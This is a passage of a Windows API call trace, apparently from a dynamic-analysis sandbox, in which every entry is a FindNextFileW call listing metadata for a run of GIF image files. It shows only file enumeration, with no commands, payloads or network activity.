ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x11c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14677_.GIF", cAlternateFileName="")) returned 1 [0197.446] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdadef00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcdadef00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14710_.GIF", cAlternateFileName="")) returned 1 [0197.446] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdadef00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcdadef00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xa97, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14711_.GIF", cAlternateFileName="")) returned 1 [0197.446] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2a26200, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf2a26200, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14768_.GIF", cAlternateFileName="")) returned 1 [0197.446] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2a26200, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf2a26200, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14769_.GIF", cAlternateFileName="")) returned 1 [0197.446] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0af000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa0af000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14800_.GIF", cAlternateFileName="")) returned 1 [0197.446] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0af000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa0af000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14801_.GIF", cAlternateFileName="")) returned 1 [0197.446] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3e9a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf3e9a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x13c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14844_.GIF", cAlternateFileName="")) returned 1 [0197.446] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3e9a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf3e9a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x117, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14845_.GIF", cAlternateFileName="")) returned 1 [0197.446] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ebde300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1ebde300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14882_.GIF", cAlternateFileName="")) returned 1 [0197.447] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ebde300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1ebde300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x144, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14883_.GIF", cAlternateFileName="")) returned 1 [0197.447] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73615e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73615e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14996_.GIF", cAlternateFileName="")) returned 1 [0197.447] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73615e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73615e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x2ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14997_.GIF", cAlternateFileName="")) returned 1 [0197.447] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81af7a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81af7a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x220, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15034_.GIF", cAlternateFileName="")) returned 1 [0197.447] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81af7a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81af7a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x16e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15035_.GIF", cAlternateFileName="")) returned 1 [0197.447] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9be95800, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9be95800, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15072_.GIF", cAlternateFileName="")) returned 1 [0197.447] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d1a8500, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9d1a8500, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15073_.GIF", cAlternateFileName="")) returned 1 [0197.447] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab3c1d00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xab3c1d00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x115, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15155_.GIF", cAlternateFileName="")) returned 1 [0197.447] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab3c1d00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xab3c1d00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x143, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15156_.GIF", cAlternateFileName="")) returned 1 [0197.447] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f09b00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd3f09b00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15184_.GIF", cAlternateFileName="")) returned 1 [0197.447] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f09b00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd3f09b00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15185_.GIF", cAlternateFileName="")) returned 1 [0197.448] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6d4a00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac6d4a00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15301_.GIF", cAlternateFileName="")) returned 1 [0197.448] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7332a00, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7332a00, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15302_.GIF", cAlternateFileName="")) returned 1 [0197.448] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e24d100, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4e24d100, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21303_.GIF", cAlternateFileName="")) returned 1 [0197.448] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0150b00, ftCreationTime.dwHighDateTime=0x1bd4f54, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf0150b00, ftLastWriteTime.dwHighDateTime=0x1bd4f54, nFileSizeHigh=0x0, nFileSizeLow=0x616, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21305_.GIF", cAlternateFileName="")) returned 1 [0197.448] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf17ca00, ftCreationTime.dwHighDateTime=0x1bd4f53, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf17ca00, ftLastWriteTime.dwHighDateTime=0x1bd4f53, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21307_.GIF", cAlternateFileName="")) returned 1 [0197.448] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56009300, ftCreationTime.dwHighDateTime=0x1bd4f53, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x56009300, ftLastWriteTime.dwHighDateTime=0x1bd4f53, nFileSizeHigh=0x0, nFileSizeLow=0xd1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21309_.GIF", cAlternateFileName="")) returned 1 [0197.448] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d745b00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3d745b00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x901, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21311_.GIF", cAlternateFileName="")) returned 1 [0197.448] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b120100, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3b120100, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x1a15, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21313_.GIF", cAlternateFileName="")) returned 1 [0197.448] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x364d4d00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x364d4d00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21315_.GIF", cAlternateFileName="")) returned 1 [0197.448] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb568300, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbb568300, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x11e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21318_.GIF", cAlternateFileName="")) returned 1 [0197.448] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7128600, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa7128600, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21319_.GIF", cAlternateFileName="")) returned 1 [0197.449] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97933d00, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x97933d00, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x664, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21320_.GIF", cAlternateFileName="")) returned 1 [0197.449] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b19a00, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85b19a00, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x9c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21321_.GIF", cAlternateFileName="")) returned 1 [0197.449] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f5c3b00, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f5c3b00, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x4d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21322_.GIF", cAlternateFileName="")) returned 1 [0197.449] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b9c600, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32b9c600, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x395, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21323_.GIF", cAlternateFileName="")) returned 1 [0197.449] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30576c00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x30576c00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x395, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21324_.GIF", cAlternateFileName="")) returned 1 [0197.449] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2df51200, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2df51200, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x5e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21325_.GIF", cAlternateFileName="")) returned 1 [0197.449] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dae8400, ftCreationTime.dwHighDateTime=0x1bd4f56, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1dae8400, ftLastWriteTime.dwHighDateTime=0x1bd4f56, nFileSizeHigh=0x0, nFileSizeLow=0x6f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21326_.GIF", cAlternateFileName="")) returned 1 [0197.449] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a618b00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2a618b00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x185, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21328_.GIF", cAlternateFileName="")) returned 1 [0197.449] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ff3100, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x27ff3100, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x1d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21330_.GIF", cAlternateFileName="")) returned 1 [0197.449] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x246baa00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x246baa00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x1f91, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21332_.GIF", cAlternateFileName="")) returned 1 [0197.449] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e75c900, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1e75c900, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x888, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21334_.GIF", cAlternateFileName="")) returned 1 [0197.450] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4465be00, ftCreationTime.dwHighDateTime=0x1bd4f48, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4465be00, ftLastWriteTime.dwHighDateTime=0x1bd4f48, nFileSizeHigh=0x0, nFileSizeLow=0xaeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21336_.GIF", cAlternateFileName="")) returned 1 [0197.450] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ae24200, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1ae24200, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21338_.GIF", cAlternateFileName="")) returned 1 [0197.450] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a537400, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbce14f00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7a537400, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21340_.GIF", cAlternateFileName="")) returned 1 [0197.450] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a89600, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa7a89600, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x46b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21348_.GIF", cAlternateFileName="")) returned 1 [0197.450] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5462cc00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5462cc00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x8e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21370_.GIF", cAlternateFileName="")) returned 1 [0197.450] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: 